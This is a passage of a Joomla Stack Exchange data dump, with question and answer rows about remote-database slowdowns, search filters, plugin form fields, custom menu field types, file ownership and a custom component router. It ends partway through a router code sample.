  <row Id="26778" PostTypeId="1" CreationDate="2020-03-03T10:46:14.150" Score="2" ViewCount="59" Body="&lt;p&gt;Running Joomla 3.9.15. When I am using a remote database (still on the same local network though), I am facing massive slow downs on the &quot;before preloadComponents&quot; phase of Joomla init. The actual database queries though are fast (check the time for &quot;database queries total&quot;)&lt;a href=&quot;https://i.stack.imgur.com/wdfb4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wdfb4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use a localhost database, everything is normal: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/H6Hvi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H6Hvi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is with all 3rd-party plugins and components disabled.&lt;/li&gt;&#xA;&lt;li&gt;Pinging from localhost to database-host is normal&lt;/li&gt;&#xA;&lt;li&gt;There are no WAF firewalls between localhost and database host as far as I know.&lt;/li&gt;&#xA;&lt;li&gt;I tried playing with the session configuration (changing from PHP, to database, to redis), with no effect whatsoever.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't know what else to check. Any ideas on how to make this work? It shouldn't delay that much for a database on the same network.&lt;/p&gt;&#xA;" OwnerUserId="8766" LastActivityDate="2020-03-03T10:46:14.150" Title="Very slow initialization of Joomla when on remote database" Tags="|database|installation|global-configuration|performance|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26779" PostTypeId="2" ParentId="26764" CreationDate="2020-03-03T14:08:27.427" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;I'd create a new &quot;hidden&quot; Joomla category&lt;/li&gt;&#xA;&lt;li&gt;Copy your article into it&lt;/li&gt;&#xA;&lt;li&gt;Create a corresponding &quot;hidden&quot; menu and a menu item pointing at that &quot;hidden&quot; category.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then you can reuse that category / menu link later if you need to repeat the process with a different article.  If you want it to be &quot;more hidden&quot; you could also require the user to log in with a username &amp;amp; password in order to access the article.  &lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2020-03-03T14:08:27.427" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26780" PostTypeId="1" AcceptedAnswerId="26783" CreationDate="2020-03-03T14:50:29.443" Score="0" ViewCount="172" Body="&lt;p&gt;I'm working on a custom component that uses Joomla's standard &quot;filters&quot; to filter the results on my form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_event&amp;amp;view=events'); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&amp;lt;?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this,'options' =&amp;gt; array('filtersHidden' =&amp;gt;$hidden))); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The filters work fine, except when a user selects a filter, the page refreshes and leave the user all the way at the top of the page.  I am looking for the page to reload and scroll down to #adminForm so that the user is brought back to this part of the page instead of needing to scroll again.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the some code I found where the filters are loaded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_BASE') or die;&#xA;&#xA;use \Joomla\CMS\HTML\HTMLHelper;&#xA;use \Joomla\CMS\Factory;&#xA;use \Joomla\CMS\Language\Text;&#xA;&#xA;$data = $displayData;&#xA;&#xA;// Receive overridable options&#xA;$data['options'] = !empty($data['options']) ? $data['options'] : array();&#xA;&#xA;// Check if any filter field has been filled&#xA;$filters       = false;&#xA;$filtered      = false;&#xA;$search_filter = false;&#xA;&#xA;if (isset($data['view']-&amp;gt;filterForm))&#xA;{&#xA;    $filters = $data['view']-&amp;gt;filterForm-&amp;gt;getGroup('filter');&#xA;}&#xA;&#xA;// Check if there are filters set.&#xA;if ($filters !== false)&#xA;{&#xA;    $filterFields = array_keys($filters);&#xA;    $filled       = false;&#xA;&#xA;    foreach ($filterFields as $filterField)&#xA;    {&#xA;        $filterField = substr($filterField, 7);&#xA;        $filter      = $data['view']-&amp;gt;getState('filter.' . $filterField);&#xA;&#xA;        if (!empty($filter))&#xA;        {&#xA;            $filled = $filter;&#xA;        }&#xA;&#xA;        if (!empty($filled))&#xA;        {&#xA;            $filtered = true;&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;    $search_filter = $filters['filter_search'];&#xA;    unset($filters['filter_search']);&#xA;}&#xA;&#xA;$options = $data['options'];&#xA;&#xA;// Set some basic options&#xA;$customOptions = array(&#xA;    'filtersHidden'       =&amp;gt; isset($options['filtersHidden']) ? $options['filtersHidden'] : empty($data['view']-&amp;gt;activeFilters) &amp;amp;&amp;amp; !$filtered,&#xA;    'defaultLimit'        =&amp;gt; isset($options['defaultLimit']) ? $options['defaultLimit'] : Factory::getApplication()-&amp;gt;get('list_limit', 20),&#xA;    'searchFieldSelector' =&amp;gt; '#filter_search',&#xA;    'orderFieldSelector'  =&amp;gt; '#list_fullordering'&#xA;);&#xA;&#xA;$data['options'] = array_unique(array_merge($customOptions, $data['options']));&#xA;&#xA;$formSelector = !empty($data['options']['formSelector']) ? $data['options']['formSelector'] : '#adminForm';&#xA;&#xA;// Load search tools&#xA;HTMLHelper::_('searchtools.form', $formSelector, $data['options']);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;js-stools clearfix&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;js-stools-container-bar&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;filter_search&quot; class=&quot;element-invisible&quot;&#xA;                aria-invalid=&quot;false&quot;&amp;gt;&amp;lt;?php echo Text::_('COM_EVENT_SEARCH_FILTER_SUBMIT'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;btn-wrapper input-append&quot;&amp;gt;&#xA;                &amp;lt;?php echo $search_filter-&amp;gt;input; ?&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot; class=&quot;btn hasTooltip&quot; title=&quot;&quot;&#xA;                    data-original-title=&quot;&amp;lt;?php echo Text::_('COM_EVENT_SEARCH_FILTER_SUBMIT'); ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;i class=&quot;icon-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php if ($filters): ?&amp;gt;&#xA;                &amp;lt;div class=&quot;btn-wrapper hidden-phone&quot;&amp;gt;&#xA;                    &amp;lt;button type=&quot;button&quot; class=&quot;btn hasTooltip js-stools-btn-filter&quot; title=&quot;&quot;&#xA;                        data-original-title=&quot;&amp;lt;?php echo Text::_('COM_EVENT_SEARCH_TOOLS_DESC'); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php echo Text::_('COM_EVENT_SEARCH_TOOLS'); ?&amp;gt; &amp;lt;i class=&quot;caret&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                    &amp;lt;/button&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;btn-wrapper&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; class=&quot;btn hasTooltip js-stools-btn-clear&quot; title=&quot;&quot;&#xA;                    data-original-title=&quot;&amp;lt;?php echo Text::_('COM_EVENT_SEARCH_FILTER_CLEAR'); ?&amp;gt;&quot;&#xA;                    onclick=&quot;jQuery(this).closest('form').find('input').val('');&quot;&amp;gt;&#xA;                    &amp;lt;?php echo Text::_('COM_EVENT_SEARCH_FILTER_CLEAR'); ?&amp;gt;&#xA;                &amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- Filters div --&amp;gt;&#xA;    &amp;lt;div class=&quot;js-stools-container-filters hidden-phone clearfix&quot; style=&quot;&quot;&amp;gt;&#xA;        &amp;lt;?php // Load the form filters ?&amp;gt;&#xA;        &amp;lt;?php if ($filters) : ?&amp;gt;&#xA;            &amp;lt;?php foreach ($filters as $fieldName =&amp;gt; $field) : ?&amp;gt;&#xA;                &amp;lt;?php if ($fieldName != 'filter_search') : ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;js-stools-field-filter&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $field-&amp;gt;renderField(array('hiddenLabel' =&amp;gt; true)); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I'm looking in the correct area or not.  Any pointers or guidance would be much appreciated!  &lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2020-03-04T09:43:31.120" Title="Custom Joomla Component: Filtered Search Refresh and Scroll to #Anchor" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26781" PostTypeId="2" ParentId="25115" CreationDate="2020-03-03T20:07:12.803" Score="0" Body="&lt;p&gt;Try it like this:&#xA;Add fields but &quot;hide&quot; them on the form (field = unpublished)&#xA;That way the fields are there in the system, just not visible on the front-end form&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2020-03-04T03:08:15.347" LastActivityDate="2020-03-04T03:08:15.347" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26782" PostTypeId="1" AcceptedAnswerId="26785" CreationDate="2020-03-04T06:49:04.657" Score="0" ViewCount="192" Body="&lt;p&gt;I'm building a component with payment plugins and I need to display the plugins fields in the account form record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin xml fields section is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;paypal_email&quot; type=&quot;email&quot; default=&quot;&quot; label=&quot;plg_mycomponent_paypal_email&quot; description=&quot;plg_mycomponent_paypal_email_desc&quot;  /&amp;gt;&#xA;            &amp;lt;field name=&quot;paypal_image&quot; type=&quot;media&quot; default=&quot;&quot; label=&quot;plg_mycomponent_paypal_image&quot; description=&quot;plg_mycomponent_paypal_image_desc&quot; filter=&quot;safehtml&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to display the paypal_email and paypal_image fields in the account form and to have the possibility to save the values in account table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to achieve that with a &quot;template&quot; php file in the plugin to display the fields but it's not working.&lt;/p&gt;&#xA;" OwnerUserId="14063" LastEditorUserId="14063" LastEditDate="2020-03-04T12:39:40.663" LastActivityDate="2020-03-04T12:50:44.983" Title="Render field in backend record form from plugin xml file" Tags="|joomla-3.x|plugin|custom-component|fields|media-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26783" PostTypeId="2" ParentId="26780" CreationDate="2020-03-04T09:43:31.120" Score="0" Body="&lt;p&gt;The simplest solution is to add the anchor to form's destination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_event&amp;amp;view=events#adminForm'); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-04T09:43:31.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26785" PostTypeId="2" ParentId="26782" CreationDate="2020-03-04T12:50:44.983" Score="0" Body="&lt;p&gt;Ok I applied &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now it's working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I load an xml file in the form with plugin event that I fire in the view.html.php and bind the form. I also modify the account model functions &quot;save&quot; and &quot;loadFormData&quot; because I'm saving the values in JSON format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the plugin event to load fields to form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addParamsToForm($form, $data) {&#xA;    $app = JFactory::getApplication();&#xA;    $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;    switch ($option) {&#xA;        case 'com_mycomponent' :&#xA;            if ($app-&amp;gt;isClient('administrator')) {&#xA;                JForm::addFormPath(__DIR__ . '/forms');&#xA;                $form-&amp;gt;loadFile('params', true);&#xA;                foreach ($form-&amp;gt;getFieldset('paypal') as $field) {&#xA;                    $form-&amp;gt;bind($data[&quot;paypal&quot;]);&#xA;                }&#xA;            }&#xA;            return true;&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the /forms/params.xml file in the plugin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;fields&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;paypal&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;paypal_email&quot; type=&quot;email&quot; default=&quot;&quot; label=&quot;plg_mycomponent_paypal_email&quot; description=&quot;plg_mycomponent_paypal_email_desc&quot;  /&amp;gt;&#xA;        &amp;lt;field name=&quot;paypal_image&quot; type=&quot;media&quot; default=&quot;&quot; label=&quot;plg_mycomponent_paypal_image&quot; description=&quot;plg_mycomponent_paypal_image_desc&quot; filter=&quot;safehtml&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="14063" LastActivityDate="2020-03-04T12:50:44.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26786" PostTypeId="2" ParentId="22657" CreationDate="2020-03-04T16:01:34.187" Score="0" Body="&lt;p&gt;Could you use a body tag as the way to call the ga tag? As with caching on it - Joomla notices the body tag change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://github.com/Bloggerschmidt/Blank&quot; rel=&quot;nofollow noreferrer&quot;&gt;template&lt;/a&gt; uses this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = $app-&amp;gt;getParams();&#xA;$pageclass = $params-&amp;gt;get('pageclass_sfx');&#xA;&#xA;&amp;lt;body class=&quot;&amp;lt;?php echo $active-&amp;gt;alias . ' ' . $pageclass; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then simply call the active-&gt;alias in your js.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2020-03-04T16:01:34.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26787" PostTypeId="2" ParentId="26777" CreationDate="2020-03-04T17:11:58.573" Score="2" Body="&lt;p&gt;The problem was me not adding the Cookie manager at the dtart of the code, as such for every get request to the server i received a new Token, and so after adding the Cookie manager i was able to get a token which was still the same after each Get request and so I was able to send a Post request and login through a mobile app, thank you alot for all of your help&lt;/p&gt;&#xA;" OwnerUserId="14138" LastActivityDate="2020-03-04T17:11:58.573" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26788" PostTypeId="1" AcceptedAnswerId="26795" CreationDate="2020-03-06T15:26:40.747" Score="0" ViewCount="27" Body="&lt;p&gt;I have a website with some menu items using the Article / Gallery View option to display a list of articles in blog style. It has been working perfectly for a few years now, but it stopped working in the last days / weeks. It does not display any articles. I have not touched anything on this part of the website. If I switch the menu item to e.g. Articles / Category articles, it works fine. So I suspect that the Gallery View component got broken somehow. Does anybody else have the same problem? Any hints on the possible reason, solution?&#xA;You can check the broken page &lt;a href=&quot;https://gonativeguide.com/de/touren/budapest&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &#xA;W. &lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12966" LastEditDate="2020-03-06T15:43:42.080" LastActivityDate="2020-03-08T18:29:47.643" Title="Joomla 3 Article Gallery View stopped displaying articles" Tags="|joomla-3.x|articles|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26789" PostTypeId="2" ParentId="22657" CreationDate="2020-03-06T17:25:51.143" Score="0" Body="&lt;p&gt;Maybe instead of creating a new set of Globals (typically a Bad Idea) you drop the values directly into javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;    var GAFields = window.GAFields || {};&#xA;    GAFields = ' . json_encode($itemCustomFields) . ';&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then reference GAFields[name] in the javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this in default.php I'm not sure will get you past the caching. The bright side is if you have worked out how to get access to the fields from the template, it should work there. Not being familiar with that particular template file, I have no idea where in the process this template.php you mentioned fits; that's custom to your templater.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-03-06T17:25:51.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26790" PostTypeId="2" ParentId="10107" CreationDate="2020-03-06T20:53:42.670" Score="0" Body="&lt;p&gt;In my case i solve with two lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I changed the ownership of all files and folders for the user of my hosting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R groupname:ownername public_html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I changed the group's permission to &quot;nobody&quot;.&#xA;In my case, my server has HWM and the public_html folder needs to have this permission to run the sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change only public_html permission to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown nobody:ownername public_html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2020-03-08T15:18:31.593" LastActivityDate="2020-03-08T15:18:31.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26792" PostTypeId="1" AcceptedAnswerId="26793" CreationDate="2020-03-07T15:23:40.463" Score="1" ViewCount="494" Body="&lt;p&gt;I am trying to get a custom field type into the menu. I want this to be a dropdown which I poulate with some php code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vfi6t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vfi6t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Where the arrow points in want my dropdown field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I created in /components/com_hccxmlbeheer/models/fields/actiecode.php&#xA;with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldActiecodes extends JFormField {&#xA;&#xA;    protected $type = 'Actiecodes';&#xA;&#xA;    // getLabel() left out&#xA;&#xA;    public function getInput() {&#xA;        return '&amp;lt;select id=&quot;'.$this-&amp;gt;id.'&quot; name=&quot;'.$this-&amp;gt;name.'&quot;&amp;gt;'.&#xA;            '&amp;lt;option value=&quot;1&quot; &amp;gt;New York&amp;lt;/option&amp;gt;'.&#xA;            '&amp;lt;option value=&quot;2&quot; &amp;gt;Chicago&amp;lt;/option&amp;gt;'.&#xA;            '&amp;lt;option value=&quot;3&quot; &amp;gt;San Francisco&amp;lt;/option&amp;gt;'.&#xA;            '&amp;lt;/select&amp;gt;';&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in default.xml of component frontend, I added the field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt; &amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_HCCXMLBEHEER_HCCXMLBEHEER_VIEW_AANMELDFORM_TITLE&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;COM_HCCXMLBEHEER_HCCXMLBEHEER_VIEW_AANMELDFORM_DESC&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;    &amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;request&quot; addfieldpath=&quot;components/com_hccxmlbeheer/models/fields&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                    addfieldpath=&quot;/components/com_hccxmlbeheer/models/fields&quot;&#xA;                    name=&quot;actiecode&quot;&#xA;                    type=&quot;Actiecodes&quot;&#xA;                    label=&quot;COM_HCCXMLBEHEER_HCCXMLBEHEER_ACTIECODELABEL&quot;&#xA;                    description=&quot;COM_HCCXMLBEHEER_HCCXMLBEHEER_ACTIECODEDESC&quot;&#xA;            &amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt; &amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the field, but is not a dropdown and I can't select anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also added to components/com_hccxmlbeheer/models/aanmeldformulier&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFormHelper::addFieldPath(JPATH_COMPONENT.'/models/fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="14149" LastEditorUserId="12352" LastEditDate="2020-03-08T03:06:05.843" LastActivityDate="2020-03-08T03:06:05.843" Title="Custom field in menu item" Tags="|joomla-3.x|custom-component|menu-item|custom-field|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26793" PostTypeId="2" ParentId="26792" CreationDate="2020-03-07T16:02:10.000" Score="2" Body="&lt;p&gt;Rename &lt;code&gt;actiecode.php&lt;/code&gt; to &lt;code&gt;actiecodes.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Class name, filename and field type in XML form must all match.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-07T16:02:10.000" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26794" PostTypeId="1" CreationDate="2020-03-08T14:44:10.643" Score="0" ViewCount="46" Body="&lt;p&gt;i have developing a custom component. i have a problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am in a menu that show view 1. when i use &lt;code&gt;JRoute&lt;/code&gt; function for link to view2 that have specific menu item, it return current url and add &lt;code&gt;?view=view2&lt;/code&gt; at end of it. but i want it link to specific url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my router.php file that may be help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class ANEductionSystemRouter implements JComponentRouterInterface&#xA;{&#xA;&#xA;    public function build(&amp;amp;$query)&#xA;    {&#xA;        $segments = array();&#xA;        if (isset($query['view'])) {&#xA;            switch ($query['view']) {&#xA;                case 'course':&#xA;                    $db = JFactory::getDbo();&#xA;                    $qry = $db-&amp;gt;getQuery(true);&#xA;                    $qry-&amp;gt;select('customid,alias');&#xA;                    $qry-&amp;gt;from('#__aneductionsystem_courses');&#xA;                    $qry-&amp;gt;where('id = ' . $db-&amp;gt;quote($query['id']));&#xA;                    $db-&amp;gt;setQuery($qry);&#xA;                    $result = $db-&amp;gt;loadObject();&#xA;                    $segments[] = $result-&amp;gt;customid . '-' . $result-&amp;gt;alias;&#xA;                    break;&#xA;                case 'teachers':&#xA;                    if (isset($query['id'])) {&#xA;                        $db = JFactory::getDbo();&#xA;                        $qry = $db-&amp;gt;getQuery(true);&#xA;                        $qry-&amp;gt;select('alias');&#xA;                        $qry-&amp;gt;from('#__aneductionsystem_teacher');&#xA;                        $qry-&amp;gt;where('id = ' . $db-&amp;gt;quote($query['id']));&#xA;                        $db-&amp;gt;setQuery($qry);&#xA;                        $alias = $db-&amp;gt;loadResult();&#xA;                        $segments[] = $alias;&#xA;                    }&#xA;                    break;&#xA;                default:&#xA;//                throw new Exception(JText::_('JERROR_LAYOUT_PAGE_NOT_FOUND'), 404);&#xA;                    break;&#xA;            }&#xA;        }&#xA;        unset($query['view']);&#xA;        unset($query['id']);&#xA;        return $segments;&#xA;    }&#xA;&#xA;    public function parse(&amp;amp;$segments)&#xA;    {&#xA;        $menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;        $menuInfo = $menu-&amp;gt;getActive();&#xA;        $view = $menuInfo-&amp;gt;query['view'];&#xA;        $id = $tpl = null;&#xA;        switch ($view) {&#xA;            case 'teachers':&#xA;                $vars = array();&#xA;                $db = JFactory::getDbo();&#xA;                $qry = $db-&amp;gt;getQuery(true);&#xA;                $qry-&amp;gt;select('id');&#xA;                $qry-&amp;gt;from('#__aneductionsystem_teacher');&#xA;                $qry-&amp;gt;where('alias = ' . $db-&amp;gt;quote($segments[0]));&#xA;                $db-&amp;gt;setQuery($qry);&#xA;                $id = $db-&amp;gt;loadResult();&#xA;                $view = 'teachers';&#xA;                break;&#xA;            case 'profile':&#xA;                $vars = array();&#xA;                switch ($segments[0]) {&#xA;                    case 'complete':&#xA;                        $id = 0;&#xA;                        $view = 'profile';&#xA;                        $vars['tpl'] = $segments[0];&#xA;                        break;&#xA;                    case 'subscribes':&#xA;                        if (isset($segments[1])) {&#xA;                            $id = $segments[1];&#xA;                            if (isset($segments[2])) {&#xA;                                $vars['action'] = $segments[2];&#xA;                                if($vars['action']=='sendBank') {&#xA;                                    if (isset($segments[3]) &amp;amp;&amp;amp; is_numeric($segments[3])) {&#xA;                                        $vars['invoiceId'] = $segments[3];&#xA;                                    }&#xA;                                }&#xA;                            }&#xA;                        } else&#xA;                            $id = 0;&#xA;                        $view = 'profile';&#xA;                        $vars['tpl'] = $segments[0];&#xA;                        break;&#xA;                    case 'purchases':&#xA;                        if (isset($segments[1]))&#xA;                            $id = $segments[1];&#xA;                        else&#xA;                            $id = 0;&#xA;                        $view = 'profile';&#xA;                        $vars['tpl'] = $segments[0];&#xA;                        break;&#xA;                    default:&#xA;                        throw new Exception(JText::_('JERROR_LAYOUT_PAGE_NOT_FOUND'), 404);&#xA;                }&#xA;                break;&#xA;            case 'headlines':&#xA;                $vars = array();&#xA;                $db = JFactory::getDbo();&#xA;                $qry = $db-&amp;gt;getQuery(true);&#xA;                $qry-&amp;gt;select('id');&#xA;                $qry-&amp;gt;from('#__aneductionsystem_lessons');&#xA;                $qry-&amp;gt;where('alias = ' . $db-&amp;gt;quote($segments[0]));&#xA;                $db-&amp;gt;setQuery($qry);&#xA;                $id = $db-&amp;gt;loadResult();&#xA;                $view = 'headlines';&#xA;                break;&#xA;            case 'courselist':&#xA;                $tmp = explode('-', $segments[0],2);&#xA;                $cid = $tmp[0];&#xA;                $alias = $tmp[1];&#xA;                try {&#xA;                    $vars = array();&#xA;                    $db = JFactory::getDbo();&#xA;                    $qry = $db-&amp;gt;getQuery(true);&#xA;                    $qry-&amp;gt;select('id');&#xA;                    $qry-&amp;gt;from('#__aneductionsystem_courses');&#xA;                    $qry-&amp;gt;where('customid = ' . $db-&amp;gt;quote($cid));&#xA;                    $qry-&amp;gt;where('alias = ' . $db-&amp;gt;quote($alias));&#xA;                    $qry-&amp;gt;where('published = 1');&#xA;                    $db-&amp;gt;setQuery($qry);&#xA;                    $id = $db-&amp;gt;loadResult();&#xA;                    if (isset($segments[1]) &amp;amp;&amp;amp; $segments[1] == 'subscribe')&#xA;                        $view = 'subscribe';&#xA;                    else&#xA;                        $view = 